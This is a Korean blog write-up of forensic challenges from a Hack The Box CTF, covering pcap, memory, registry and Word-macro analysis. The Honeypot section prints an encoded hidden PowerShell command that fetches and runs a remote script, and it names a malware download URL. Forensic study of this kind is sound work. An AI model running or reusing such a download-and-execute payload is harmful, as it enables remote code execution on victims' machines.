[Forensic] Cyber Santa is Coming to Town CTF

2021. 12. 6. 23:50·Challenge

CTFTime.org 둘러보다가 쉬운 난이도라길래 또 포렌식도 있어서 겸사겸사 풀어보고 Write-up을 써본다.
이 대회에 출제된 포렌식 문제들은 다양한 포렌식 분야를 접할 수 있어서 좋은 것 같았다.

https://www.hackthebox.com/events/santa-needs-your-help 에서 5일가량 진행했다.
필자는 포렌식 문제만 풀었으므로 자세하고 정확한 write-up과 다른 문제들은 github과 ctftime에서 찾을 수 있다.

1. baby APT

문제 파일을 다운로드 받고 글을 대충 살펴보면 사람들이 산타의 새로운 웹사이트에서 산타에게 편지를 쓸 수 있게 되었다고 하는데 APT라는 그룹이 산타의 서버를 공격하여 선물 목록을 파괴했다라고 대충 해석이 된다.

다운로드된 파일은 .pcap 확장자이므로 Wireshark로 열어보았다.
[Statistics] - [Protocol Hierachy] 를 클릭하여 전체적인 프로토콜을 계층별로 확인해보았다.

눈에 뜨이는 것은 http 프로토콜이고 우클릭하여 [Apply as Filter] - [Selected] 를 눌러 http 프로토콜로 정렬해보았다.
(사실 필터창에 그냥 http 쳐도 된다...ㅎㅎ)

http 프로토콜을 보다보면 의심스러운(?) php 파일을 발견할 수 있다. 우클릭을 한 뒤 Follow Stream을 하여 자세히 분석해보면 다음과 같은 내용을 알 수 있다.

위와 같이 공격자가 php 웹 쉘을 이용한 것으로 보인다. 하지만 flag에 대한 정보는 보이지 않는다. (솔직히 많이 헤맸다...)

위와 같이 공격자가 rm 명령어로 뭔가를 하는 것으로 보이는데... 음 url로 인코딩 되어있으니까 디코딩하여 자세히 살펴보자.

아마 저 문자열이 flag로 보이니 base64 디코딩하게 되면 flag 값이 나올 것 같다.

성공!

2. Honeypot

1. 멀웨어 다운로드에 사용된 url을 찾아라.
2. 악성 프로세스 ID를 찾아라.
3. 공격자의 IP를 찾아라.

이번에는 악성코드와 관련된 공격자의 징후를 파악하는 메모리 포렌식이 될 것 같다...!
따라서 volatility를 이용하여 다음과 같이 분석을 진행해보았다.

사용하고 있는 운영체제는 Window7으로 확인된다. 이제 구해야 할 것은 멀웨어 다운로드에 사용된 url, 악성 프로세스 ID, 공격자의 IP 이므로 volatility의 플러그인을 잘 활용해보자.

cmd에서 어떠한 활동을 했는지 알아보기 위해 cmdline 플러그인을 사용한 결과 다음과 같은 내용을 볼 수 있다.

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /window hidden /e aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHcAaQBuAGQAbwB3AHMAbABpAHYAZQB1AHAAZABhAHQAZQByAC4AYwBvAG0ALwB1AHAAZABhAHQAZQAuAHAAcwAxACcAKQApAA==

위와 같이 적혀있는 것을 볼 수 있는데 마지막에 '=' 이 있으므로 base64로 디코딩해보자.

디코딩하면 위와같이 downloadstring 이라는 문구가 보인다. update.ps1 파일을 다운로드 한 것으로 유추해볼 수 있다.
filescan 플러그인을 이용하여 메모리에 update.ps1 이라는 파일이 남아있는지 확인해보자.

update.ps1 이라는 파일은 보이지 않지만 christmas_update[1].hta 이라는 파일을 볼 수 있다.
.hta 확장자 파일은 HTML 애플리케이션 파일로 보안에 매우 취약하다. 따라서 다운로드 된 멀웨어는 저 파일인 것으로 알 수 있다.

이제 다시 멀웨어 다운로드된 경로를 알기 위해서 iehistory 플러그인을 사용할 수 있다.

https://windowsliveupdater.com/christmas_update.hta

따라서 위 사이트를 방문하여 파일을 다운로드 받은 것을 알 수 있다.
멀웨어의 프로세스 ID와 공격자의 IP를 찾기 위해 pstree 플러그인과 netscan을 사용해보자.

위에서 멀웨어를 다운로드 할 때, powershell.exe을 사용한 것을 확인할 수 있었다. 따라서 PID는 2700 으로 알 수 있다.

netscan을 사용한 결과 4444 포트 연결을 확인할 수 있다. 4444 포트는 기본적인 Metasploit 리스너 포트라고 한다. 취약한 포트 이므로 저 ip 번호가 공격자의 ip가 된다. (https://www.speedguide.net/port.php?port=4444)

따라서 이 문제의 Flag 는 다음과 같다.

HTB{969b934d7396d043a50a37b70e1e010a}

3. Persist

해석을 하자면 산타가 인프라를 업데이트해도 문제가 발생한다... 그것은 바로 부팅시 발생하는 문제라고 하는데, 시작하는 동안 블루 스크린 표시와 느린 부팅 시간이라고 한다.

우선 ctf-d.com 에서 풀었던 재부팅 후에도 지속성을 유지하는 멀웨어 문제가 생각났다. (문제 : GrrCON2015 #5)
이러한 악성코드 감염 방식은 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 에 윈도우 자동 시작을 위한 키를 등록하여 재부팅 후에도 계속해서 악성코드가 재부팅 후에도 지속적으로 동작시킬 수 있도록 한다.

다시 본론으로 들어가서 필자는 위의 방식을 토대로 printkey 플러그인을 사용하여 내부 레지스트리를 조사해보기로 하였다.

우선 해당 메모리의 프로파일 조사.
이상한 키 값 발견...!

powershell.exe을 실행시키며 어쩌구 하는데 뒤에 '=' 로 끝나는 것을 보면 base64 로 암호화 되어있는 것을 볼 수 있으니 명령어 끝의 긴 문장을 디코딩 해주자.

성공!

4. Giveaway

산타의 SOC 팀은 피싱 캠페인 때문에 12월 동안 초과 근무를 한다. (산타가 피싱 캠페인? 뭐지...)
새로운 악의적인 팀은 주로 휴가 정신의 영향을 받는 사람들을 대상으로 한다. 문서를 분석하고 C&C 서버를 찾아라.

파일을 다운로드 받으면 word 파일을 볼 수 있는데 열면 다음과 같은 그림이 보인다.

크리스마스 요정 선물
이 문서는 이전 버전으로 만들어졌으며, 보거나 수정하려면 "편집 허용"을 누르고 선물을 받으려면 "내용 허용"을 누르세요.

위 같은 파일에서 별다른 정보를 난 찾을 수 없었다. 하지만 파일 유형이 매크로 파일이라는 것을 볼 수 있다. word 매크로 파일은 악성코드에서 취약한 유형으로서 컴퓨터를 감염시킬 수도 있다고 나와있다.
(참고 : https://docs.microsoft.com/ko-kr/windows/security/threat-protection/intelligence/macro-malware)

어떻게 풀지 막막했지만, 구글링을 통해 olevba라는 도구를 사용하여 해결할 수 있다는 정보를 얻었다.
(참고 : https://medium.com/@nishanmaharjan17/a-ms-word-malware-analysis-part2-analyzing-malicious-macros-2a17d96d086f)

olevba라는 도구는 문서 파일 안의 매크로 스크립트를 추출하는데 악성코드 분석시에 매우 유용하게 쓰인다고 한다.
설치는 sudo -H pip3 install -U oletools 를 입력하면 간단히 해결된다.

하지만 왠걸... 별다른 매크로가 발견되지 않았다고 나왔다...
기간이 지나고 나서 확인해본 결과 이렇게 푸는 것이 맞는데 뭐가 틀리고 안나온건지 잘 모르겠다ㅠㅠ

5. Ho Ho Ho

이 문제는 못풀었다...ㅠ


이렇게 5개의 문제를 접했는데 난이도는 물론 '하'지만 나에겐 너무 생소하고 어려웠다.
여러 CTF 문제를 많이 접하고 풀어봐야 될 것같다. 관심있으신 분들은 구글링하여 풀어보는 것도 괜찮다고 생각한다.

"피드백은 언제나 환영입니다."

'Challenge' 카테고리의 다른 글

[Memory Forensic] Wargame Team H4C  (0) 2021.11.07
[Memory Forensic] ctf-d Challenge - 플래그를 찾아라!  (0) 2019.10.02
[Steganography] ctf-d Challenge - 제 친구의 개가 바다에서…  (0) 2019.09.29
'Challenge' 카테고리의 다른 글
  • [Memory Forensic] Wargame Team H4C
  • [Memory Forensic] ctf-d Challenge - 플래그를 찾아라!
  • [Steganography] ctf-d Challenge - 제 친구의 개가 바다에서…
Be Charm
Be Charm
  • Be Charm
    Be Charm
    Be Charm
  • 전체
    오늘
    어제
    • All (23)
      • Forensics (14)
        • Study (5)
        • Windows (5)
        • Memory (1)
        • Disk (3)
        • Network (0)
      • Challenge (4)
      • etc (5)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    포렌식 스크립트
    Windows Forensics
    디지털 포렌식 전문가 필기
    메모리 포렌식
    윈도우 아티팩트
    Data Leakage Case
    디지털 포렌식 전문가 실기
    라이브 포렌식
    Forensics
    ctf
    Windows Forensic
    file signature
    포렌식
    VMware제거
    디지털 포렌식 전문가 2급
    EventTranscript.db
    binwalk
    SIFT Workstation
    Cyber Santa is Coming to Town
    Root-Me
    CFReDS
    grub rescue
    forensic
    디지털 포렌식
    N00bCTF
    VMware설치오류
    VMware오류
    휘발성 증거
    INetSim
    ctf-d
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
Be Charm
[Forensic] Cyber Santa is Coming to Town CTF
상단으로

티스토리툴바